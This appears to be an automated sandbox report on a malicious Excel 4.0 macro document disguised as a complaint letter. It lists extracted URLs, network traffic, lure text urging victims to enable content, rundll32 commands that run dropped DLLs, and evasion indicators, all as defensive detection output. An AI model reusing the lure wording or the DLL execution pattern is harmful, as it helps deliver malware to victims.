Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://powerlift.acompli.net
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://settings.outlook.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://staging.cortana.ai
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://store.office.com/?productgroup=Outlook
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://store.office.com/addinstemplate
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://store.officeppe.com/addinstemplate
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://tasks.office.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://templatelogging.office.com/client/log
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://webshell.suite.office.com
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://wus2-000.contentsync.
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://wus2-000.pagecontentsync.
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: AC73CBBE-DA25-4A70-8E2D-32FC9C1340A0.1.dr	String found in binary or memory: https://www.odwebp.svc.ms

Uses HTTPS

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 159.89.174.35:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.126.100.34:443 -> 192.168.2.4:49737 version: TLS 1.2

System Summary:

Found malicious Excel 4.0 Macro

Source: Complaint_Letter_1186814227-02192021.xls

Initial sample: urlmon

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable Editing "' 11 from the yellow bar above Ru nDLL X 12 Rl. nDLL X 13 @ Once You have Enabl
Source: Screenshot number: 8	Screenshot OCR: Enable Editing, please click Enabl RunDLL x . 14_ from the yellow bar above -( 15 / 16" ::
Source: Screenshot number: 12	Screenshot OCR: Enable Editing, please click Enable Content 14_ from the yellow bar above 15 16 17 ,, WHY I CAN
Source: Screenshot number: 12	Screenshot OCR: Enable Content 14_ from the yellow bar above 15 16 17 ,, WHY I CANNOT OPEN THIS DOCUMENT? 19
Source: Document image extraction number: 2	Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing , please click Enable Conten
Source: Document image extraction number: 2	Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? You are using iOS or Andro
Source: Document image extraction number: 8	Screenshot OCR: Enable Editing from the yellow bar above @ Once You have Enable Editing , please click Enable Cont
Source: Document image extraction number: 8	Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? m You are using IDS or And

Found Excel 4.0 Macro with suspicious formulas

Source: Complaint_Letter_1186814227-02192021.xls

Initial sample: EXEC

Document contains embedded VBA macros

Source: Complaint_Letter_1186814227-02192021.xls

OLE indicator, VBA macros: true

Yara signature match

Source: Complaint_Letter_1186814227-02192021.xls, type: SAMPLE

Matched rule: SUSP_EnableContent_String_Gen date = 2019-02-12, hash1 = 525ba2c8d35f6972ac8fcec8081ae35f6fe8119500be20a4113900fe57d6a0de, author = Florian Roth, description = Detects suspicious string that asks to enable active content in Office Doc, reference = Internal Research

Classification label

Source: classification engine

Classification label: mal76.expl.evad.winXLS@11/8@5/6

Creates files inside the user directory

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Creates temporary files

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{9661C26F-C35F-43CF-B8D9-03EFDB338AEF} - OProcSessId.dat

Jump to behavior

Document contains an OLE Workbook stream indicating a Microsoft Excel file

Source: Complaint_Letter_1186814227-02192021.xls

OLE indicator, Workbook stream: true

Reads ini files

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Reads software policies

Source: C:\Windows\SysWOW64\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Runs a DLL by calling functions

Source: unknown

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\KLSD.ggsso,DllRegisterServer

Spawns processes

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\KLSD.ggsso,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\KLSD.ggsso1,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\KLSD.ggsso2,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\KLSD.ggsso3,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\KLSD.ggsso4,DllRegisterServer
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\KLSD.ggsso,DllRegisterServer			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\KLSD.ggsso1,DllRegisterServer			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\KLSD.ggsso2,DllRegisterServer			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\KLSD.ggsso3,DllRegisterServer			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\KLSD.ggsso4,DllRegisterServer			Jump to behavior

Found GUI installer (many successful clicks)

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Checks if Microsoft Office is installed

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Uses new MSVCR Dlls

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: rundll32.exe, 00000005.00000002.704945089.0000000003110000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.699396180.0000000000F50000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.722414887.0000000000C00000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.729085608.0000000004C30000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.713950318.0000000000CB0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: rundll32.exe, 00000005.00000002.704945089.0000000003110000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.699396180.0000000000F50000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.722414887.0000000000C00000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.729085608.0000000004C30000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.713950318.0000000000CB0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: rundll32.exe, 00000005.00000002.704945089.0000000003110000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.699396180.0000000000F50000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.722414887.0000000000C00000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.729085608.0000000004C30000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.713950318.0000000000CB0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: rundll32.exe, 00000005.00000002.704945089.0000000003110000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.699396180.0000000000F50000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.722414887.0000000000C00000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.729085608.0000000004C30000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.713950318.0000000000CB0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

HIPS / PFW / Operating System Protection Evasion:

Yara detected hidden Macro 4.0 in Excel

Source: Yara match

File source: Complaint_Letter_1186814227-02192021.xls, type: SAMPLE